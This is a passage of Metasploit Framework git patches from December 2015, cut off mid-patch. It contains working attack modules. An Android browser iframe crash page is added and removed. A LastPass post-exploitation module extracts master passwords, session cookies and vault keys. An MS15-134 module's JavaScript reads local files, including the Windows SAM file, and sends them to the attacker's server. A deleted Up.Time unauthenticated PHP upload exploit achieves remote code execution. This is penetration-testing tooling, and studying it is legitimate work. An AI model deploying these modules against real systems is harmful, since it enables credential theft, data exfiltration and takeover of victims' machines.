b/modules/auxiliary/dos/http/android_stock_browser_iframe_dos_cve_2012_6301.rb @@ -0,0 +1,62 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "Android Stock Browser Iframe DOS", + 'Description' => %q( + This module exploits a vulnerability in the native browser that comes with Android 4.0.3. + If successful, the browser will crash after viewing the webpage. + ), + 'License' => MSF_LICENSE, + 'Author' => [ + 'Jean Pascal Pereira', # Original exploit discovery + 'Jonathan Waggoner' # Metasploit module + ], + 'References' => [ + [ 'PACKETSTORM', '118539'], + [ 'CVE', '2012-6301' ] + ], + 'DisclosureDate' => "Dec 1 2012", + 'Actions' => [[ 'WebServer' ]], + 'PassiveActions' => [[ 'WebServer' ]], + 'DefaultAction' => 'WebServer' + ) + ) + end + + def run + exploit # start http server + end + + def setup + @html = %| + <html> + <body> + <script type="text/javascript"> + for (var i = 0; i < 600; i++) + { + var m_frame = document.createElement("iframe"); + m_frame.setAttribute("src", "market://#{Rex::Text.rand_text_alpha(rand(16) + 1)}"); + document.body.appendChild(m_frame); + } + </script> + </body> + </html> + | + end + + def on_request_uri(cli, _request) + print_status('Sending response') + send_response(cli, @html) + end +end diff --git a/modules/auxiliary/gather/android_stock_browser_iframe_dos.rb b/modules/auxiliary/gather/android_stock_browser_iframe_dos.rb deleted file mode 100644 index b8b0db762a..0000000000 --- a/modules/auxiliary/gather/android_stock_browser_iframe_dos.rb +++ /dev/null @@ -1,64 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking - - include Msf::Exploit::Remote::HttpServer - - def initialize(info={}) - super(update_info(info, - 'Name' => "Android Stock Browser Iframe DOS", - 'Description' => %q{ - This module exploits a vulnerability in the native browser that comes with Android 4.0.3. - If successful, the browser will crash after viewing the webpage. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Jean Pascal Pereira', # Original exploit discovery - 'Jonathan Waggoner' # Metasploit module - ], - 'References' => [ - [ 'PACKETSTORM', '118539'], - [ 'CVE', '2012-6301' ] - ], - 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'DefaultOptions' => { 'PAYLOAD' => 'android/shell/reverse_http' }, - 'Targets' => [ [ 'Automatic', {} ] ], - 'DisclosureDate' => "Dec 1 2012", - 'DefaultTarget' => 0 - )) - end - - def on_request_uri(cli, request) - html = %Q| - <html> - <body> - <script type="text/javascript"> - - var m_frame = ""; - - for(var i = 0; i < 600; i++) - { - - m_frame = document.createElement("iframe"); - m_frame.setAttribute("src", "market://a"); - - document.body.appendChild(m_frame); - } - </script> - </body> - </html> - | - print_status(msg = 'Getting ready to send HTML to client') - send_response(cli, html) - print_status(msg = 'Sent HTML to client') - - end - -end From ccb13a2ca6356867190ff8d764d5fbee3627a734 Mon Sep 17 00:00:00 2001 From: Martin Vigo <martinvigo@gmail.com> Date: Thu, 17 Dec 2015 20:29:50 -0800 Subject: [PATCH 1637/2172] Add full IE support and bug fixes --- modules/post/multi/gather/lastpass_creds.rb | 177 ++++++++++++-------- 1 file changed, 109 insertions(+), 68 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 3793f204b2..66ef12231c 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post 'Jon Hart <jon_hart[at]rapid7.com' # module rework and cleanup ], 'Platform' => %w(linux osx unix win), - 'References' => [['URL', 'http://www.martinvigo.com/a-look-into-lastpass/']], + 'References' => [['URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it']], 'SessionTypes' => %w(meterpreter shell) ) ) @@ -58,7 +58,6 @@ class Metasploit3 < Msf::Post print_lastpass_data(account_map) end - # Returns a mapping of lastpass accounts def build_account_map platform = session.platform @@ -77,22 +76,19 @@ class Metasploit3 < Msf::Post 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", 'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", 'IE' => "#{user_profile['LocalAppData']}Low\\LastPass", - 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0", - 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" } localstorage_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", 'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass", 'IE' => "#{user_profile['LocalAppData']}Low\\LastPass", - 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", - 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" + 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" } cookies_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies", 'Firefox' => "", # It's set programmatically 'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low", - 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies", - 'Safari' => "" + 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies" } when /unix|linux/ browser_path_map = { @@ -108,8 +104,7 @@ class Metasploit3 < Msf::Post cookies_path_map = { #TODO 'Chrome' => "", 'Firefox' => "", - 'Opera' => "", - 'Safari' => "" + 'Opera' => "" } when /osx/ browser_path_map = { @@ -143,11 +138,11 @@ class Metasploit3 < Msf::Post if session.type == "meterpreter" account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if client.fs.file.exists?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/) account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if client.fs.file.exists?(cookies_path_map[browser]) || browser.match(/Firefox|IE/) - #account_map[account][browser]['cookies_db'] = cookies_path_map[browser]['lp_db_path'].gsub("prefs.js", "cookies.sqlite") if client.fs.file.exists?(cookies_path_map[browser]['lp_db_path']) && browser == 'Firefox' + account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub("prefs.js", "cookies.sqlite") if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox') else # session.type == "shell" account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if session.shell_command("ls \"#{localstorage_path_map[browser]}\"").strip == localstorage_path_map[browser].strip || browser.match(/Firefox|IE/) account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if session.shell_command("ls \"#{cookies_path_map[browser]}\"").strip == cookies_path_map[browser].strip || browser.match(/Firefox|IE/) - #account_map[account][browser]['cookies_db'] = cookies_path_map[browser]['lp_db_path'] if session.shell_command("ls \"#{cookies_path_map[browser]['lp_db_path']}\"").strip == cookies_path_map[browser]['lp_db_path'].strip && browser == 'Firefox' + account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub("prefs.js", "cookies.sqlite") if (session.shell_command("ls \"#{account_map[account][browser]['lp_db_path']}\"").strip == account_map[account][browser]['lp_db_path'].strip && browser == 'Firefox') end else account_map[account].delete(browser) @@ -164,13 +159,9 @@ class Metasploit3 < Msf::Post vprint_status "Checking #{account}'s #{browser}" if browser == "IE" # Special case for IE - root_key, base_key = session.sys.registry.splitkey('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass') - reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) - return [] if not reg_key - reg_value = reg_key.query_value("LoginUsers") - return [] if not reg_value - paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !reg_value.data.blank? && path != "Low\\LastPass" # Hacky way to detect if there is access to user's data (attacker has no root access) - reg_key.close + data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', "LoginUsers") + data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers") if data.blank? + paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != "Low\\LastPass" # Hacky way to detect if there is access to user's data (attacker has no root access) elsif browser == "Firefox" # Special case for Firefox paths |= firefox_profile_files(path, browser) else @@ -262,28 +253,24 @@ class Metasploit3 < Msf::Post [found_dbs_paths] end - - # Parses the Firefox preferences file and returns encoded credentials def ie_firefox_credentials(prefs_path, localstorage_db_path) credentials = [] data = nil if(prefs_path == nil) # IE - root_key, base_key = session.sys.registry.splitkey('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass') - reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) - return [] if not reg_key - reg_value = reg_key.query_value("LoginUsers") - return [] if not reg_value - usernames = reg_value.data.split("|") + data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers") + data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', "LoginUsers") if data.blank? + return [] if data.blank? + + usernames = data.split("|") usernames.each do |username| credentials << [username, nil] end # Extract master passwords - reg_value = reg_key.query_value("LoginPws") - data = Base64.encode64(reg_value.data) if reg_value - reg_key.close + data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginPws") + data = Base64.encode64(data) if !data.blank? else # Firefox loot_path = loot_file(prefs_path, nil, 'firefox.preferences', "text/javascript", "Firefox preferences file") return [] if !loot_path @@ -344,7 +331,7 @@ class Metasploit3 < Msf::Post if browser.match(/Firefox|IE/) if browser == "Firefox" ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db']) - else + else # IE ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db']) end unless ieffcreds.blank? @@ -437,16 +424,16 @@ class Metasploit3 < Msf::Post if browser.match(/Firefox|IE/) if browser == "Firefox" iterations_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr" + vault_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml" else # IE iterations_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key_ie.itr" + vault_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.sxml" end iterations = read_remote_file(iterations_path) if client.fs.file.exists?(iterations_path) # Read file if it exists iterations = nil if iterations.blank? # Verify content lp_data['lp_creds'][username]['iterations'] = iterations # Find encrypted vault - vault_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml" - vault_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.sxml" if !client.fs.file.exists?(vault_path) vault = read_remote_file(vault_path) vault = windows_unprotect(vault) if vault != nil && vault.match(/^AQAAA.+/) # Verify Windows protection vault = vault.sub(/iterations=.*;/, "") if client.fs.file.exists?(vault_path) # Remove iterations info @@ -487,12 +474,13 @@ class Metasploit3 < Msf::Post lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations']) else # Get vault key decrypting the locally stored one or from the disabled OTP if !browser_checked - ##decrypt_local_vault_key(account, browser_map) + decrypt_local_vault_key(account, browser_map) browser_checked = true end if lp_data['lp_creds'][username]['vault_key'] == nil # If no vault key was found yet, try with dOTP - ##otpbin = extract_otpbin(account, browser, username, lp_data) - ##lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin) + otpbin = extract_otpbin(account, browser, username, lp_data) + otpbin.blank? ? next : otpbin = otpbin[0..31] + lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin) end end end @@ -502,7 +490,27 @@ class Metasploit3 < Msf::Post # Decrypt the locally stored vault key def decrypt_local_vault_key account, browser_map - browser_map.each_pair do |browser, lp_data| + data = nil + session_cookie_value = nil + + browser_map.each_pair do |browser, lp_data| + if browser == "IE" + if session.type == "meterpreter" + cookies_files = client.fs.dir.entries(lp_data['cookies_db']) + else + cookies_files = session.shell_command("ls #{lp_data['cookies_db']}").split + end + cookies_files.reject! { |u| %w(. ..).include?(u) } + cookies_files.each do |cookie_jar_file| + data = read_remote_file(lp_data['cookies_db'] + client.fs.file.separator + cookie_jar_file) + next if data.blank? + if /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id + loot_path = loot_file(lp_data['cookies_db'] + client.fs.file.separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", "text/plain", "#{account}'s #{browser} cookies DB") + session_cookie_value = session_cookie_value_match + break + end + end + else case browser when /Chrome/ query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'" @@ -516,9 +524,10 @@ class Metasploit3 < Msf::Post query = nil print_error "Browser #{browser} not recognized" end - loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", "application/x-sqlite3", "#{account}'s #{browser} cookies DB") # Parsing/Querying the DB + loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", "application/x-sqlite3", "#{account}'s #{browser} cookies DB") + next if loot_path.blank? db = SQLite3::Database.new(loot_path) begin result = db.execute(query) @@ -527,37 +536,39 @@ class Metasploit3 < Msf::Post next end next if result.blank? # No session cookie found for this browser - session_cookie = windows_unprotect(Base64.encode64(result[0][0])) # TODO: Support other browsers/OSs - - # Use the cookie to obtain the encryption key to decrypt the vault key - uri = URI('https://lastpass.com/login_check.php') - request = Net::HTTP::Post.new(uri) - request.set_form_data("wxsessid" => URI.unescape(session_cookie),"uuid" => browser_map['lp_2fa']) - request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8' - response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) } - - # Parse response - next if !response.body.match(/pwdeckey\="([a-z0-9]+)"/) # Session must have expired - decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey\="([a-z0-9]+)"/)[1]) - username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1] - - # Get the local encrypted vault key - db = SQLite3::Database.new(lp_data['lp_db_loot']) - result = db.execute( - "SELECT data FROM LastPassData " \ - "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'key'" - ) - encrypted_vault_key = result[0][0].split("\n")[0] - - # Decrypt the local stored key - lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack("H*"), encrypted_vault_key) + session_cookie_value = result[0][0] end + session_cookie_value = windows_unprotect(Base64.encode64(session_cookie_value)) if (session_cookie_value != nil && Base64.encode64(session_cookie_value).match(/^AQAAA.+/)) + return if session_cookie_value.blank? + + # Use the cookie to obtain the encryption key to decrypt the vault key + uri = URI('https://lastpass.com/login_check.php') + request = Net::HTTP::Post.new(uri) + request.set_form_data("wxsessid" => URI.unescape(session_cookie_value),"uuid" => browser_map['lp_2fa']) + request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8' + response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) } + + # Parse response + next if !response.body.match(/pwdeckey\="([a-z0-9]+)"/) # Session must have expired + decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey\="([a-z0-9]+)"/)[1]) + username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1] + + # Get the local encrypted vault key + encrypted_vault_key = extract_local_encrypted_vault_key(browser, username, lp_data) + + # Decrypt the local stored key + lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack("H*"), encrypted_vault_key) + end end # Returns otp, encrypted_key def extract_otpbin(account, browser, username, lp_data) - if browser == 'Firefox' - path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp" + if browser.match(/Firefox|IE/) + if browser == "Firefox" + path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp" + else # IE + path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + ".sotp" + end otpbin = read_remote_file(path) if client.fs.file.exists?(path) #Read file if it exists otpbin = windows_unprotect(otpbin) if otpbin != nil && otpbin.match(/^AQAAA.+/) return otpbin @@ -603,7 +614,6 @@ class Metasploit3 < Msf::Post if response.body.match(/randkey\="(.*)"/) encrypted_vault_key = response.body.match(/randkey\="(.*)"/)[1] end - encrypted_vault_key end @@ -755,7 +765,6 @@ class Metasploit3 < Msf::Post loot_path end - # Reads a remote file and returns the data def read_remote_file(path) data = nil @@ -763,9 +772,41 @@ class Metasploit3 < Msf::Post begin data = read_file(path) rescue EOFError - vprint_error "File #{path} is empty" + vprint_error "Error reading file #{path} It could be empty" end data end -end + def read_registry_key_value(key, value) + begin + root_key, base_key = session.sys.registry.splitkey(key) + reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) + return nil if not reg_key + reg_value = reg_key.query_value(value) + return nil if not reg_value + rescue + vprint_error "Error reading registry key #{key} and value #{value}" + end + reg_key.close if reg_key + return reg_value.blank? ? nil : reg_value.data + end + + def extract_local_encrypted_vault_key(browser, username, lp_data) + if browser.match(/Firefox|IE/) + encrypted_key_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lpall.slps" + encrypted_vault_key = read_remote_file(encrypted_key_path) + encrypted_vault_key = windows_unprotect(encrypted_vault_key) if encrypted_vault_key != nil && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection + + else + db = SQLite3::Database.new(lp_data['lp_db_loot']) + result = db.execute( + "SELECT data FROM LastPassData " \ + "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'key'" + ) + encrypted_vault_key = result[0][0] + end + + return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part + end + +end \ No newline at end of file From 5f5b3ec6a152cadf1578e2333fe298e240ad3db0 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 17 Dec 2015 22:41:58 -0600 Subject: [PATCH 1638/2172] Add MS15-134 Microsoft Windows Media Center MCL Information Disclosure CVE-2015-6127 --- data/wordlists/sensitive_files_win.txt | 14 +- modules/auxiliary/server/ms15_134_mcl_leak.rb | 170 ++++++++++++++++++ 2 files changed, 177 insertions(+), 7 deletions(-) create mode 100644 modules/auxiliary/server/ms15_134_mcl_leak.rb diff --git a/data/wordlists/sensitive_files_win.txt b/data/wordlists/sensitive_files_win.txt index 883c745602..cd2d682c0b 100644 --- a/data/wordlists/sensitive_files_win.txt +++ b/data/wordlists/sensitive_files_win.txt @@ -1,7 +1,7 @@ -boot.ini -config.sys -autoexec.bat -Windows\system32\drivers\etc\hosts -winnt\system32\drivers\etc\hosts -Windows\system32\config\SAM -winnt\system32\config\SAM +C:\boot.ini +C:\config.sys +C:\autoexec.bat +C:\Windows\system32\drivers\etc\hosts +C:\winnt\system32\drivers\etc\hosts +C:\Windows\system32\config\SAM +C:\winnt\system32\config\SAM diff --git a/modules/auxiliary/server/ms15_134_mcl_leak.rb b/modules/auxiliary/server/ms15_134_mcl_leak.rb new file mode 100644 index 0000000000..0dbecadb00 --- /dev/null +++ b/modules/auxiliary/server/ms15_134_mcl_leak.rb @@ -0,0 +1,170 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'cgi' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MS15-134 Microsoft Windows Media Center MCL Information Disclosure', + 'Description' => %q{ + This module exploits a vulnerability found in Windows Media Center. It allows an MCL + file to render itself as a HTML document in the local machine zone by Internet Explorer, + which can be used to leak files on the target machine. + }, + 'Author' => + [ + 'Francisco Falcon', # Vuln discovery & PoCs & Detailed write-ups & awesomeness + 'sinn3r' + ], + 'References' => + [ + ['CVE', '2015-6127'], + ['MSB', 'MS15-134'], + ['URL', 'https://blog.coresecurity.com/2015/12/09/exploiting-windows-media-center/'], + ['URL', 'http://www.coresecurity.com/advisories/microsoft-windows-media-center-link-file-incorrectly-resolved-reference'] + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Dec 8 2015", + )) + + register_options( + [ + OptString.new('FILENAME', [true, 'The MCL file', 'msf.mcl']), + OptPath.new('FILES', [true, 'Files you wish to download', ::File.join(Msf::Config.data_directory, 'wordlists', 'sensitive_files_win.txt')]) + ], self.class) + end + + def receiver_page + @receiver_page_name ||= Rex::Text.rand_text_alpha(5) + end + + def js + %Q| +function sendFile(fname, data) { + var xmlHttp = new XMLHttpRequest(); + if (!xmlHttp) { return 0; } + xmlHttp.open('POST', '#{get_uri}/#{receiver_page}', true); + xmlHttp.setRequestHeader('Content-type', 'multipart/form-data'); + xmlHttp.setRequestHeader('Connection', 'close'); + var body = 'fname=' + encodeURIComponent(fname) + '&data=' + data.toString(); + xmlHttp.send(body); +} + +function getFile(fname) { + var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP"); + xmlHttp.open('GET', fname, false); + xmlHttp.send(); + return xmlHttp.responseBody.toArray(); +} + +var files = [#{load_file_paths * ","}]; + +for (var i=0; i < files.length; i++) { + try { + var data = getFile('file:///' + files[i]); + sendFile(files[i], data); + } catch (e) {} +} + + | + end + + def generate_mcl + %Q|<application url="msf.mcl"> +<html> +<head> +<meta http-equiv="x-ua-compatible" content="IE-edge"> +</head> +<body> +<script type="text/javascript"> +#{js} +</script> +</body> +</html> +</application> + | + end + + def load_file_paths + @files ||= lambda { + buf = '' + ::File.open(datastore['FILES'], 'rb') do |f| + buf = f.read + end + buf.split.map { |n| "\"#{n.gsub!(/\\/, '/')}\"" } + }.call + end + + def run + exploit + end + + def start_service(opts = {}) + super + print_status("Generating #{datastore['FILENAME']}...") + mcl = generate_mcl + file_create(mcl) + print_status("Pass #{datastore['FILENAME']} to the target you wish to exploit.") + print_status("When the MCL is executed, it should start sending data (files) back") + print_status("back to our web server.") + end + + def is_ie?(request) + fp = fingerprint_user_agent(request.headers['User-Agent']) + fp[:ua_name] == HttpClients::IE + end + + def parse_data(data) + buf = '' + data.scan(/\d+/).each do |n| + buf << n.to_i.chr + end + buf + end + + def parse_body(body) + params = CGI::parse(body) + + { + fname: ::File.basename(params['fname'].first), + data: parse_data(params['data'].first) + } + end + + def on_request_uri(cli, request) + unless is_ie?(request) + print_error('Client is not Internet Explorer.') + send_not_found(cli) + return + end + + unless /#{receiver_page}/i === request.uri + print_error("Unknown request: #{request.uri}") + send_not_found(cli) + return + end + + buff = '' + + print_status("Receiving data...") + file = parse_body(request.body.to_s) + p = store_loot('mcl.file', 'application/octet-stream', cli.peerhost, file[:data], file[:fname]) + print_good("#{file[:fname]} saved as: #{p}") + + # If you are kind of lazy to open the saved files, and just sort of want to see the data, + # here you go (handy for debugging purposes, but against a larger network this is probably + # too much info) + vprint_status("File collected: #{file[:fname]}\n\n#{Rex::Text.to_hex_dump(file[:data])}") + + end + +end From 485196af4ecba38210208fa9ac85c43b849419d0 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 17 Dec 2015 23:01:57 -0600 Subject: [PATCH 1639/2172] Remove modules/exploits/multi/http/uptime_file_upload.rb Please use exploit/multi/http/uptime_file_upload_1 for exploiting post2file.php on an older version of uptime. If you are exploiting uptime that is patched against exploit/multi/http/uptime_file_upload_1, then you may want to try exploit/multi/http/uptime_file_upload_2. --- .../exploits/multi/http/uptime_file_upload.rb | 102 ------------------ 1 file changed, 102 deletions(-) delete mode 100644 modules/exploits/multi/http/uptime_file_upload.rb diff --git a/modules/exploits/multi/http/uptime_file_upload.rb b/modules/exploits/multi/http/uptime_file_upload.rb deleted file mode 100644 index fa7e1f697d..0000000000 --- a/modules/exploits/multi/http/uptime_file_upload.rb +++ /dev/null @@ -1,102 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::PhpEXE - include Msf::Module::Deprecated - - deprecated(Date.new(2015, 11, 27), 'exploit/multi/http/uptime_file_upload_1') - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Up.Time Monitoring Station post2file.php Arbitrary File Upload', - 'Description' => %q{ - This module exploits an arbitrary file upload vulnerability found within the Up.Time - monitoring server 7.2 and below. A malicious entity can upload a PHP file into the - webroot without authentication, leading to arbitrary code execution. - }, - 'Author' => - [ - 'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'OSVDB', '100423' ], - [ 'BID', '64031'], - [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ] - ], - 'Payload' => - { - 'Space' => 10000, # just a big enough number to fit any PHP payload - 'DisableNops' => true - }, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Targets' => - [ - [ 'Up.Time 7.2', { } ], - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Nov 19 2013')) - - register_options([ - OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']), - Opt::RPORT(9999) - ], self.class) - end - - def check - uri = target_uri.path - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(uri, 'wizards', 'post2file.php') - }) - - if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/ - return Exploit::CheckCode::Appears - end - - return Exploit::CheckCode::Safe - - end - - def exploit - print_status("#{peer} - Uploading PHP to Up.Time server") - uri = target_uri.path - - @payload_name = "#{rand_text_alpha(5)}.php" - php_payload = get_write_exec_payload(:unlink_self => true) - - post_data = ({ - "file_name" => @payload_name, - "script" => php_payload - }) - - print_status("#{peer} - Uploading payload #{@payload_name}") - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(uri, 'wizards', 'post2file.php'), - 'vars_post' => post_data, - }) - - unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/ - fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") - end - - print_status("#{peer} - Executing payload #{@payload_name}") - res = send_request_cgi({ - 'uri' => normalize_uri(uri, 'wizards', @payload_name), - 'method' => 'GET' - }) - end -end From fb6ede80c9911f60dda811b22be40d8b3a1583ac Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Fri, 18 Dec 2015 18:27:48 +0100 Subject: [PATCH 1640/2172] add joomla reference --- modules/exploits/multi/http/joomla_http_header_rce.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 1be5c92468..9e8878a1ac 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'], ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'], ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'], + ['URL', 'https://blog.patrolserver.com/2015/12/17/in-depth-analyses-of-the-joomla-0-day-user-agent-exploit/'], ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'], ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'], ['URL', 'https://bugs.php.net/bug.php?id=70219'] From 06a2bb53bd145248ca25c6dfdc124cf8ee8456e3 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Thu, 17 Dec 2015 23:25:15 -0600 Subject: [PATCH 1641/2172] Clean up module --- modules/post/windows/gather/ntds_location.rb | 38 +++++++++----------- 1 file changed, 17 insertions(+), 21 deletions(-) diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb index ddbdea28ee..518895d684 100644 --- a/modules/post/windows/gather/ntds_location.rb +++ b/modules/post/windows/gather/ntds_location.rb @@ 